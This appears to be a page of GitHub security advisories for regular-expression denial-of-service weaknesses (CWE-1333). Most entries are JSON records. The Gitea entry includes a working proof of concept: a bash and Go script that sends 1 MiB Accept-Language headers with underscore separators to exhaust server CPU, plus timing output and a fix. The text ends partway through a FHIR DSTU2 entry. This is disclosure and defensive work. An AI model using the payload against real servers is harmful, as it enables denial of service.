CWE-1333
AllowedInefficient Regular Expression Complexity
Abstraction: Base · Status: Draft
The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.
792 vulnerabilities reference this CWE, most recent first.
GHSA-FQHP-RHM6-8RRJ
Vulnerability from github – Published: 2023-06-21 21:30 – Updated: 2025-03-11 21:55Withdrawn Advisory
This advisory has been withdrawn because the security impact of the slow printing of URLs has been disputed. This link is maintained to preserve external references.
Original Description
The urlnorm crate through 0.1.4 for Rust allows Regular Expression Denial of Service (ReDos) via a crafted URL to lib.rs.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "urlnorm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-33289"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-21T21:58:09Z",
"nvd_published_at": "2023-06-21T20:15:10Z",
"severity": "HIGH"
},
"details": "## Withdrawn Advisory\nThis advisory has been withdrawn because the security impact of the slow printing of URLs has been disputed. This link is maintained to preserve external references.\n\n## Original Description\nThe urlnorm crate through 0.1.4 for Rust allows Regular Expression Denial of Service (ReDos) via a crafted URL to lib.rs.",
"id": "GHSA-fqhp-rhm6-8rrj",
"modified": "2025-03-11T21:55:14Z",
"published": "2023-06-21T21:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33289"
},
{
"type": "WEB",
"url": "https://gist.github.com/6en6ar/b118888dc739e8979038f24c8ac33611"
},
{
"type": "PACKAGE",
"url": "https://github.com/progscrape/urlnorm"
},
{
"type": "WEB",
"url": "https://lib.rs/crates/urlnorm"
},
{
"type": "WEB",
"url": "https://news.ycombinator.com/item?id=40435263"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Withdrawn Advisory: urlnorm vulnerable to Regular Expression Denial of Service",
"withdrawn": "2025-03-11T21:55:14Z"
}
GHSA-FRJF-28G7-3864
Vulnerability from github – Published: 2023-12-21 03:30 – Updated: 2023-12-29 03:30An issue was discovered in Heimdal Thor agent versions 3.4.2 and before 3.7.0 on Windows, allows attackers to bypass USB access restrictions, execute arbitrary code, and obtain sensitive information via Next-Gen Antivirus component.
{
"affected": [],
"aliases": [
"CVE-2023-29486"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-21T01:15:32Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in Heimdal Thor agent versions 3.4.2 and before 3.7.0 on Windows, allows attackers to bypass USB access restrictions, execute arbitrary code, and obtain sensitive information via Next-Gen Antivirus component.",
"id": "GHSA-frjf-28g7-3864",
"modified": "2023-12-29T03:30:28Z",
"published": "2023-12-21T03:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29486"
},
{
"type": "WEB",
"url": "https://medium.com/%40drabek.a/weaknesses-in-heimdal-thors-line-of-products-9d0e5095fb93"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FVFC-VFG9-G345
Vulnerability from github – Published: 2024-09-02 18:31 – Updated: 2024-09-02 18:31A vulnerability has been found in Secure Systems Engineering Connaisseur up to 3.3.0 and classified as problematic. This vulnerability affects unknown code of the file connaisseur/res/targets_schema.json of the component Delegation Name Handler. The manipulation leads to inefficient regular expression complexity. The complexity of an attack is rather high. The exploitation appears to be difficult. Upgrading to version 3.3.1 is able to address this issue. The name of the patch is 524b73ff7306707f6d3a4d1e86401479bca91b02. It is recommended to upgrade the affected component.
{
"affected": [],
"aliases": [
"CVE-2023-7279"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-02T18:15:21Z",
"severity": "LOW"
},
"details": "A vulnerability has been found in Secure Systems Engineering Connaisseur up to 3.3.0 and classified as problematic. This vulnerability affects unknown code of the file connaisseur/res/targets_schema.json of the component Delegation Name Handler. The manipulation leads to inefficient regular expression complexity. The complexity of an attack is rather high. The exploitation appears to be difficult. Upgrading to version 3.3.1 is able to address this issue. The name of the patch is 524b73ff7306707f6d3a4d1e86401479bca91b02. It is recommended to upgrade the affected component.",
"id": "GHSA-fvfc-vfg9-g345",
"modified": "2024-09-02T18:31:24Z",
"published": "2024-09-02T18:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-7279"
},
{
"type": "WEB",
"url": "https://github.com/sse-secure-systems/connaisseur/pull/1407"
},
{
"type": "WEB",
"url": "https://github.com/sse-secure-systems/connaisseur/commit/524b73ff7306707f6d3a4d1e86401479bca91b02"
},
{
"type": "WEB",
"url": "https://github.com/sse-secure-systems/connaisseur/releases/tag/v3.3.1"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.276268"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.276268"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:H/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FW2V-V7VP-PCCQ
Vulnerability from github – Published: 2024-10-26 21:30 – Updated: 2024-10-26 21:30Validate.js provides a declarative way of validating javascript objects. All versions as of 30 November 2020 contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). As of time of publication, it is unknown if any patches are available.
{
"affected": [],
"aliases": [
"CVE-2020-26310"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-26T21:15:14Z",
"severity": "HIGH"
},
"details": "Validate.js provides a declarative way of validating javascript objects. All versions as of 30 November 2020 contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). As of time of publication, it is unknown if any patches are available.",
"id": "GHSA-fw2v-v7vp-pccq",
"modified": "2024-10-26T21:30:46Z",
"published": "2024-10-26T21:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26310"
},
{
"type": "WEB",
"url": "https://github.com/blowsie/Pure-JavaScript-HTML5-Parser/issues/14"
},
{
"type": "ADVISORY",
"url": "https://securitylab.github.com/advisories/GHSL-2020-305-redos-Pure-JavaScript-HTML5-Parser"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Green",
"type": "CVSS_V4"
}
]
}
GHSA-FW3V-X4F2-V673
Vulnerability from github – Published: 2022-07-26 00:00 – Updated: 2024-09-25 20:07In Mistune through 2.0.2, support of inline markup is implemented by using regular expressions that can involve a high amount of backtracking on certain edge cases. This behavior is commonly named catastrophic backtracking.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mistune"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0a1"
},
{
"fixed": "2.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-34749"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-29T22:24:56Z",
"nvd_published_at": "2022-07-25T23:15:00Z",
"severity": "HIGH"
},
"details": "In Mistune through 2.0.2, support of inline markup is implemented by using regular expressions that can involve a high amount of backtracking on certain edge cases. This behavior is commonly named catastrophic backtracking.",
"id": "GHSA-fw3v-x4f2-v673",
"modified": "2024-09-25T20:07:25Z",
"published": "2022-07-26T00:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34749"
},
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/issues/314#issuecomment-1223972386"
},
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/commit/a6d43215132fe4f3d93f8d7e90ba83b16a0838b2"
},
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/commit/ca1e7b506850f4e488823fc7338b49a8f9852718"
},
{
"type": "PACKAGE",
"url": "https://github.com/lepture/mistune"
},
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/releases"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2022-237.yaml"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TQHXITQ2DSBYOILKHXBSBB7PFBPZHF63"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Mistune vulnerable to catastrophic backtracking"
}
GHSA-FW57-JGCH-PGF3
Vulnerability from github – Published: 2026-07-21 21:15 – Updated: 2026-07-21 21:15Summary
The Locale middleware that runs in front of every unauthenticated request
calls golang.org/x/text/language.ParseAcceptLanguage on the raw
Accept-Language header without imposing a size or shape filter. The
underlying parser has quadratic-time behaviour on long lists of malformed
language tags. The CVE-2022-32149 guard that golang.org/x/text added in
v0.3.8 caps the number of - characters in the input at 1000, but it does
not cap _ characters even though the parser's internal scanner aliases
_ to - before parsing. A single unauthenticated GET request with an
Accept-Language header built out of _ separators burns ~2 seconds of
server CPU on the host running Gitea; ten concurrent attackers saturate a
ten-core box for the duration of the attack while consuming ~1 MiB of
upstream bandwidth per request.
Affected versions
code.gitea.io/gitea 1.22.6 and (per code inspection of main) all
earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that
do not impose their own size limit on the Accept-Language header before
calling ParseAcceptLanguage. Verified on:
- the official
gitea/gitea:1.22.6docker image (E2E below) mainat commit6f4027a6be28c876c0abaf37cc939658645b78a3by readingmodules/web/middleware/locale.go(the call site at line 38 is unchanged onmain)
Privilege required
Unauthenticated. The Locale middleware runs for every HTTP request including the landing page and the sign-in page.
Vulnerable code
modules/web/middleware/locale.go:38
(blob SHA fc396f0808187c358b4fc15dcefcd6957140a780):
// 3. Get language information from 'Accept-Language'.
// The first element in the list is chosen to be the default language automatically.
if len(lang) == 0 {
tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language"))
tag := translation.Match(tags...)
lang = tag.String()
}
req.Header.Get("Accept-Language") is the unfiltered HTTP header. Default
Go net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Gitea does not
override it, so the parser is allowed to receive up to a megabyte of
attacker-controlled data.
CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters
and rejecting inputs with more than 1000 of them. The guard does not count
_ characters even though the scanner converts _ to - at parse time
(golang.org/x/text/internal/language/parse.go).
A 1 MiB header full of 9-character _aaaaaaaaa_aaaaaaaaa_... tokens
contains zero - characters, passes the guard, and then drives the
scanner into the O(N²) gobble path. The fix author of CVE-2022-32149
treated - as the canonical separator; the _ alias was added in 2013,
nine years before the fix.
How Accept-Language reaches ParseAcceptLanguage
Every Gitea HTTP request passes through Locale as it is wired up via
the global request pipeline (Gitea registers the middleware on its router
in routers/web/web.go). The middleware sequence is:
- The request enters
Locale(resp, req). req.URL.Query().Get("lang")returns "" (attacker omitslang).req.Cookie("lang")returns nil on a fresh client (attacker uses a fresh client, or simply does not send the cookie).req.Header.Get("Accept-Language")returns the full attacker-supplied header value.language.ParseAcceptLanguage(...)runs unfiltered.
No size or character class filter is applied between (4) and (5).
Proof of concept
Single-line bash reproducer that crafts the malicious header and
times one request against a fresh gitea/gitea:1.22.6 container:
docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6
sleep 8
PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"
curl -sS -o /dev/null \
-w 'http=%{http_code} t=%{time_total}\n' \
-H "Accept-Language: ${PAYLOAD}" \
http://127.0.0.1:13000/
Each 9-character _abcdefghi token has length 9, which fails the
scanner's len <= 8 tag-length check at
golang.org/x/text/internal/language/parse.go and triggers a gobble
call that runtime.memmoves the entire remaining buffer. With N invalid
tokens the total bytes moved by gobble is O(N²).
End-to-end reproduction (against gitea/gitea:1.22.6)
A Go driver poc.go that boots the container, sends a 1 MiB
Accept-Language value once with - (CVE-2022-32149 guard fires) and
once with _ (guard bypassed):
// poc.go
package main
import (
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
)
const targetURL = "http://127.0.0.1:13000/"
func buildPayload(sep string, targetBytes int) string {
const tok = "abcdefghi"
var b strings.Builder
b.Grow(targetBytes + 16)
b.WriteString("en")
for b.Len()+1+len(tok) <= targetBytes {
b.WriteString(sep)
b.WriteString(tok)
}
return b.String()
}
func send(label, header string) {
client := &http.Client{
Timeout: 60 * time.Second,
Transport: &http.Transport{
DisableKeepAlives: true,
DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
},
}
req, _ := http.NewRequest("GET", targetURL, nil)
if header != "" {
req.Header.Set("Accept-Language", header)
}
t0 := time.Now()
resp, err := client.Do(req)
dt := time.Since(t0)
if err != nil {
fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err)
return
}
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n",
label, len(header),
strings.Count(header, "_"), strings.Count(header, "-"),
resp.StatusCode, dt)
}
func main() {
send("warm-up", "")
send("baseline (no header)", "")
send("baseline (1 short tag)", "en-US")
send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
send("attack ('_' x 1MiB)", buildPayload("_", 1<<20))
send("attack repeat 2", buildPayload("_", 1<<20))
send("attack repeat 3", buildPayload("_", 1<<20))
}
Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the
official gitea/gitea:1.22.6 image with no other tuning):
E2E: golang/x/text ParseAcceptLanguage '_' bypass through
go-gitea/gitea 1.22.6 Locale middleware at
modules/web/middleware/locale.go:38.
Target: http://127.0.0.1:13000/
warm-up (no header) header=0 B '_'=0 '-'=0 status=200 t=18.079666ms
--- measurements (single request each) ---
baseline (no header) header=0 B '_'=0 '-'=0 status=200 t=6.480333ms
baseline (1 short tag) header=5 B '_'=0 '-'=1 status=200 t=5.0455ms
guard-fires control ('-' x 1MiB) header=1048572 B '_'=0 '-'=104857 status=200 t=26.020625ms
attack ('_' x 1MiB) header=1048572 B '_'=104857 '-'=0 status=200 t=2.159538333s
attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=200 t=1.938493583s
attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=200 t=1.679953042s
Interpretation:
| Request | Header bytes | Server time |
|---|---|---|
| no header / short tag | 0 - 5 | 1 - 7 ms |
1 MiB - separators (CVE-2022-32149 guard fires) |
1 MiB | 26 ms |
1 MiB _ separators (guard bypassed) |
1 MiB | 1.7 - 2.2 s |
The - control proves that the existing CVE-2022-32149 guard does still
work on the canonical separator: a 1 MiB - payload returns in 26 ms
because the parser short-circuits with ErrTagListTooLarge. The _
attack returns 200 from the same endpoint but consumes ~2 s of server
CPU because the guard did not fire and the quadratic scanner ran to
completion.
Impact
- One unauthenticated client can pin one CPU core for ~2 seconds per 1 MiB request.
- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Gitea instance indefinitely.
- The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.
- Self-hosted Gitea installations published to the public internet (the common pattern) are exposed.
Suggested fix
Apply the size / character-class filter before reaching
ParseAcceptLanguage. The smallest change that preserves the existing
behaviour for legitimate Accept-Language headers is to count _
alongside - and short-circuit when the total exceeds a small ceiling:
// modules/web/middleware/locale.go
const maxAcceptLanguageSeparators = 32 // matches typical real browser values
if len(lang) == 0 {
al := req.Header.Get("Accept-Language")
if strings.Count(al, "-")+strings.Count(al, "_") > maxAcceptLanguageSeparators {
// Refuse to call into the BCP 47 parser with absurd input.
al = ""
}
tags, _, _ := language.ParseAcceptLanguage(al)
tag := translation.Match(tags...)
lang = tag.String()
}
A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.
The underlying issue is in golang.org/x/text/language. A future
upstream fix is the right long-term solution; the change above is
defensive in depth at the only call site that consumes attacker input.
Credit
Reported by tonghuaroot.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58436"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:15:47Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe Locale middleware that runs in front of every unauthenticated request\ncalls `golang.org/x/text/language.ParseAcceptLanguage` on the raw\n`Accept-Language` header without imposing a size or shape filter. The\nunderlying parser has quadratic-time behaviour on long lists of malformed\nlanguage tags. The CVE-2022-32149 guard that golang.org/x/text added in\nv0.3.8 caps the number of `-` characters in the input at 1000, but it does\nnot cap `_` characters even though the parser\u0027s internal scanner aliases\n`_` to `-` before parsing. A single unauthenticated GET request with an\n`Accept-Language` header built out of `_` separators burns ~2 seconds of\nserver CPU on the host running Gitea; ten concurrent attackers saturate a\nten-core box for the duration of the attack while consuming ~1 MiB of\nupstream bandwidth per request.\n\n### Affected versions\n\n`code.gitea.io/gitea` 1.22.6 and (per code inspection of `main`) all\nearlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that\ndo not impose their own size limit on the `Accept-Language` header before\ncalling `ParseAcceptLanguage`. Verified on:\n\n- the official `gitea/gitea:1.22.6` docker image (E2E below)\n- `main` at commit `6f4027a6be28c876c0abaf37cc939658645b78a3` by reading\n `modules/web/middleware/locale.go` (the call site at line 38 is unchanged\n on `main`)\n\n### Privilege required\n\nUnauthenticated. The Locale middleware runs for every HTTP request\nincluding the landing page and the sign-in page.\n\n### Vulnerable code\n\n[`modules/web/middleware/locale.go:38`](https://github.com/go-gitea/gitea/blob/fc396f0808187c358b4fc15dcefcd6957140a780/modules/web/middleware/locale.go#L38)\n(blob SHA `fc396f0808187c358b4fc15dcefcd6957140a780`):\n\n```go\n// 3. Get language information from \u0027Accept-Language\u0027.\n// The first element in the list is chosen to be the default language automatically.\nif len(lang) == 0 {\n tags, _, _ := language.ParseAcceptLanguage(req.Header.Get(\"Accept-Language\"))\n tag := translation.Match(tags...)\n lang = tag.String()\n}\n```\n\n`req.Header.Get(\"Accept-Language\")` is the unfiltered HTTP header. Default\nGo `net/http` `MaxHeaderBytes` is `1 \u003c\u003c 20` = 1 MiB and Gitea does not\noverride it, so the parser is allowed to receive up to a megabyte of\nattacker-controlled data.\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters\nand rejecting inputs with more than 1000 of them. The guard does not count\n`_` characters even though the scanner converts `_` to `-` at parse time\n([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)).\nA 1 MiB header full of 9-character `_aaaaaaaaa_aaaaaaaaa_...` tokens\ncontains zero `-` characters, passes the guard, and then drives the\nscanner into the O(N\u00b2) `gobble` path. The fix author of CVE-2022-32149\ntreated `-` as the canonical separator; the `_` alias was added in 2013,\nnine years before the fix.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nEvery Gitea HTTP request passes through `Locale` as it is wired up via\nthe global request pipeline (Gitea registers the middleware on its router\nin `routers/web/web.go`). The middleware sequence is:\n\n1. The request enters `Locale(resp, req)`.\n2. `req.URL.Query().Get(\"lang\")` returns \"\" (attacker omits `lang`).\n3. `req.Cookie(\"lang\")` returns nil on a fresh client (attacker uses a\n fresh client, or simply does not send the cookie).\n4. `req.Header.Get(\"Accept-Language\")` returns the full attacker-supplied\n header value.\n5. `language.ParseAcceptLanguage(...)` runs unfiltered.\n\nNo size or character class filter is applied between (4) and (5).\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and\ntimes one request against a fresh `gitea/gitea:1.22.6` container:\n\n```bash\ndocker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6\nsleep 8\n\nPAYLOAD=\"en$(python3 -c \u0027print(\"_abcdefghi\" * 100000, end=\"\")\u0027)\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n -w \u0027http=%{http_code} t=%{time_total}\\n\u0027 \\\n -H \"Accept-Language: ${PAYLOAD}\" \\\n http://127.0.0.1:13000/\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the\nscanner\u0027s `len \u003c= 8` tag-length check at\n`golang.org/x/text/internal/language/parse.go` and triggers a `gobble`\ncall that `runtime.memmove`s the entire remaining buffer. With N invalid\ntokens the total bytes moved by `gobble` is O(N\u00b2).\n\n### End-to-end reproduction (against `gitea/gitea:1.22.6`)\n\nA Go driver `poc.go` that boots the container, sends a 1 MiB\n`Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and\nonce with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n \"fmt\"\n \"io\"\n \"net\"\n \"net/http\"\n \"strings\"\n \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:13000/\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n const tok = \"abcdefghi\"\n var b strings.Builder\n b.Grow(targetBytes + 16)\n b.WriteString(\"en\")\n for b.Len()+1+len(tok) \u003c= targetBytes {\n b.WriteString(sep)\n b.WriteString(tok)\n }\n return b.String()\n}\n\nfunc send(label, header string) {\n client := \u0026http.Client{\n Timeout: 60 * time.Second,\n Transport: \u0026http.Transport{\n DisableKeepAlives: true,\n DialContext: (\u0026net.Dialer{Timeout: 5 * time.Second}).DialContext,\n },\n }\n req, _ := http.NewRequest(\"GET\", targetURL, nil)\n if header != \"\" {\n req.Header.Set(\"Accept-Language\", header)\n }\n t0 := time.Now()\n resp, err := client.Do(req)\n dt := time.Since(t0)\n if err != nil {\n fmt.Printf(\" %-32s ERR after %v: %v\\n\", label, dt, err)\n return\n }\n _, _ = io.Copy(io.Discard, resp.Body)\n resp.Body.Close()\n fmt.Printf(\" %-32s header=%d B \u0027_\u0027=%d \u0027-\u0027=%d status=%d t=%v\\n\",\n label, len(header),\n strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n resp.StatusCode, dt)\n}\n\nfunc main() {\n send(\"warm-up\", \"\")\n send(\"baseline (no header)\", \"\")\n send(\"baseline (1 short tag)\", \"en-US\")\n send(\"guard-fires (\u0027-\u0027 x 1MiB)\", buildPayload(\"-\", 1\u003c\u003c20))\n send(\"attack (\u0027_\u0027 x 1MiB)\", buildPayload(\"_\", 1\u003c\u003c20))\n send(\"attack repeat 2\", buildPayload(\"_\", 1\u003c\u003c20))\n send(\"attack repeat 3\", buildPayload(\"_\", 1\u003c\u003c20))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the\nofficial `gitea/gitea:1.22.6` image with no other tuning):\n\n```\nE2E: golang/x/text ParseAcceptLanguage \u0027_\u0027 bypass through\ngo-gitea/gitea 1.22.6 Locale middleware at\nmodules/web/middleware/locale.go:38.\n\nTarget: http://127.0.0.1:13000/\n\n warm-up (no header) header=0 B \u0027_\u0027=0 \u0027-\u0027=0 status=200 t=18.079666ms\n\n--- measurements (single request each) ---\n baseline (no header) header=0 B \u0027_\u0027=0 \u0027-\u0027=0 status=200 t=6.480333ms\n baseline (1 short tag) header=5 B \u0027_\u0027=0 \u0027-\u0027=1 status=200 t=5.0455ms\n guard-fires control (\u0027-\u0027 x 1MiB) header=1048572 B \u0027_\u0027=0 \u0027-\u0027=104857 status=200 t=26.020625ms\n attack (\u0027_\u0027 x 1MiB) header=1048572 B \u0027_\u0027=104857 \u0027-\u0027=0 status=200 t=2.159538333s\n attack repeat 2 header=1048572 B \u0027_\u0027=104857 \u0027-\u0027=0 status=200 t=1.938493583s\n attack repeat 3 header=1048572 B \u0027_\u0027=104857 \u0027-\u0027=0 status=200 t=1.679953042s\n```\n\nInterpretation:\n\n| Request | Header bytes | Server time |\n|------------------------------------------|--------------|-------------|\n| no header / short tag | 0 - 5 | 1 - 7 ms |\n| 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 26 ms |\n| 1 MiB `_` separators (guard bypassed) | 1 MiB | 1.7 - 2.2 s |\n\nThe `-` control proves that the existing CVE-2022-32149 guard does still\nwork on the canonical separator: a 1 MiB `-` payload returns in 26 ms\nbecause the parser short-circuits with `ErrTagListTooLarge`. The `_`\nattack returns 200 from the same endpoint but consumes ~2 s of server\nCPU because the guard did not fire and the quadratic scanner ran to\ncompletion.\n\n### Impact\n\n- One unauthenticated client can pin one CPU core for ~2 seconds per 1\n MiB request.\n- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a\n 10-core Gitea instance indefinitely.\n- The endpoint returns 200 OK, so the attack does not surface as\n abnormal traffic in standard 4xx/5xx dashboards.\n- Self-hosted Gitea installations published to the public internet (the\n common pattern) are exposed.\n\n### Suggested fix\n\nApply the size / character-class filter before reaching\n`ParseAcceptLanguage`. The smallest change that preserves the existing\nbehaviour for legitimate Accept-Language headers is to count `_`\nalongside `-` and short-circuit when the total exceeds a small ceiling:\n\n```go\n// modules/web/middleware/locale.go\nconst maxAcceptLanguageSeparators = 32 // matches typical real browser values\n\nif len(lang) == 0 {\n al := req.Header.Get(\"Accept-Language\")\n if strings.Count(al, \"-\")+strings.Count(al, \"_\") \u003e maxAcceptLanguageSeparators {\n // Refuse to call into the BCP 47 parser with absurd input.\n al = \"\"\n }\n tags, _, _ := language.ParseAcceptLanguage(al)\n tag := translation.Match(tags...)\n lang = tag.String()\n}\n```\n\nA real Accept-Language header from a browser contains under 10\nseparators, so a ceiling of 32 leaves plenty of headroom while making\nthe quadratic blow-up impossible.\n\nThe underlying issue is in `golang.org/x/text/language`. A future\nupstream fix is the right long-term solution; the change above is\ndefensive in depth at the only call site that consumes attacker input.\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-fw57-jgch-pgf3",
"modified": "2026-07-21T21:15:47Z",
"published": "2026-07-21T21:15:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-fw57-jgch-pgf3"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38323"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/f452c369acc9f1bd05ec6ef9c2e4399062dd6da1"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests"
}
GHSA-FXJ4-P9XP-37V5
Vulnerability from github – Published: 2026-06-17 18:47 – Updated: 2026-06-17 18:47Summary
The fix for CVE-2026-45367 added RegexTimeout protection to the matches() function in DSTU2016MAY, DSTU3, R4, R4B, and R5, but the DSTU2 module was incompletely patched. In org.hl7.fhir.dstu2, replaceMatches() was updated while matches() at line 2462 still calls the raw String.matches(sw) without any timeout, allowing an unauthenticated attacker to trigger catastrophic regex backtracking and exhaust server CPU.
Details
Incomplete patch
Within the same file
(org.hl7.fhir.dstu2/utils/FHIRPathEngine.java), the two functions were
patched inconsistently:
Line 2226 — replaceMatches() — PATCHED:
result.add(new StringType(
RegexTimeout.replaceAll(
convertToString(focus.get(0)), regex, repl, regexTimeoutMillis)));
Line 2462 — matches() — NOT PATCHED:
result.add(new BooleanType(
convertToString(focus.get(0)).matches(sw)));
// ↑ raw String.matches() — no RegexTimeout, no complexity check
DSTU3 line 2447 — matches() — PATCHED (for comparison):
result.add(new BooleanType(
RegexTimeout.matches(st, sw, regexTimeoutMillis)));
Module-by-module status
| Module | matches() |
replaceMatches() |
|---|---|---|
| DSTU2 | ❌ raw str.matches(sw) |
✅ RegexTimeout.replaceAll() |
| DSTU2016MAY | ✅ RegexTimeout.matches() |
✅ |
| DSTU3 | ✅ RegexTimeout.matches() |
✅ |
| R4 | ✅ RegexTimeout.matches() |
✅ |
| R4B | ✅ RegexTimeout.matches() |
✅ |
| R5 | ✅ RegexTimeout.matches() |
✅ |
PoC
Requirements: Java 17+, Maven 3.8+
pom.xml dependencies:
<dependency>
<groupId>ca.uhn.hapi.fhir</groupId>
<artifactId>org.hl7.fhir.utilities</artifactId>
